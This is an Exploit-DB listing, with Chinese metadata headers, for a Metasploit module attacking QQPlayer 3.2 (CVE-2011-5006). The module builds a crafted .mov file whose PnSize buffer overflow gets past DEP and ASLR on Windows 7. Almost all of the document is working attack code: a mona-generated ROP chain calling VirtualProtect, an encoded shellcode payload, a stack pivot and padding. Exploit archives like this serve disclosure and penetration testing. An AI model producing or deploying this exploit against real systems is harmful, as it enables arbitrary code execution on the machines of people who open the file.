标题: QQPLAYER Player 3.2 - PICT PnSize Buffer Overflow Windows (ASLR + DEP Bypass) (Metasploit) EDB-ID: 18137 CVE: 2011-5006 类型: LOCAL 平台: WINDOWS_X86 发布日期: 2011-11-21 漏洞利用脚本: # Exploit Title: QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS
# Date: 2011,11,21
# Author: hellok
# Software Link: http://dl_dir.qq.com/invc/qqplayer/QQPlayer_Setup_32_845.exe
# Version: 32_845(lastest)
# Tested on: WIN7
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS',
   'Description'    => %q{
     This module exploits a vulnerability in QQPLAYER Player 3.2.
    When opening a .mov file containing a specially crafted PnSize value, an attacker
    may be able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'hellok',  #special thank corelanc0d3r for 'mona'
    ],
   'References'     =>
    [
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'          => 750,
     'BadChars'       => "",  #Memcpy
     'EncoderType'    => Msf::Encoder::Type::AlphanumUpper,
     'DisableNops'    =>  'True',
     'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
     'EncoderOptions' =>
      {
       'BufferRegister' => 'ECX',
      },
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'Windows 7', { 'Ret' => 0x67664cde } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => '11 21 2011',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME',   [ false, 'The file name.',  'msf.mov' ]),
   ], self.class)
 end
 def exploit
  # !mona rop
  rop_gadgets = 
  [
   
   0x00418007, # POP ECX # RETN (QQPlayer.exe)
   0x12345678,
   0x67664CE4,   
   0x01020304,
   0x10203040,
   0x22331122,
   0x23456789,
   
   0x00418007, # POP ECX # RETN (QQPlayer.exe)
   0x00a9c18c, # <- *&VirtualProtect() 
   0x0054f100, # MOV EAX,DWORD PTR DS:[ECX] # RETN (QQPlayer.exe)
   #0x008e750c, LEA ESI,EAX # RETN (QQPlayer.exe)
   0x008cf099, # XCHG EAX,ESI # RETN
   
   0x6497aaad, # POP EBP # RETN (avformat-52.dll)
   0x100272bf, # ptr to 'call esp' (from i18nu.dll)
   0x005fc00b, # POP EBX # RETN (QQPlayer.exe)
   0x00000331, # <- change size to mark as executable if needed (-> ebx)
   0x00418007, # POP ECX # RETN (QQPlayer.exe)
   0x63d18000, # RW pointer (lpOldProtect) (-> ecx)
   0x63d05001, # POP EDI # RETN (avutil-49.dll)
   0x63d05002, # ROP NOP (-> edi)
   0x008bf00b, # POP EDX # RETN (QQPlayer.exe)
   0x00000040, # newProtect (0x40) (-> edx)
   0x00468800, # POP EAX # RETN (QQPlayer.exe)
   0x90909090, # NOPS (-> eax)
   0x008bad5c, # PUSHAD # RETN (QQPlayer.exe)
  # rop chain generated by mona.py
  # note : this chain may not work out of the box
  # you may have to change order or fix some gadgets,
  # but it should give you a head start
  ].pack("V*")

  stackpivot = [target.ret].pack('L')

  buffer =rand_text_alpha_upper(90)#2
  buffer << rop_gadgets
  buffer << payload.encoded

  junk = rand_text_alpha_upper(2306 - buffer.length)

  buffer << junk
  buffer << stackpivot
  buffer << rand_text_alpha_upper(3000)#3000

  path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0257.mov" )
  fd = File.open(path, "rb" )
  sploit = fd.read(fd.stat.size)
  fd.close

  sploit << buffer

  file_create(sploit)
 end
end URL: https://www.exploit-db.com/exploits/18137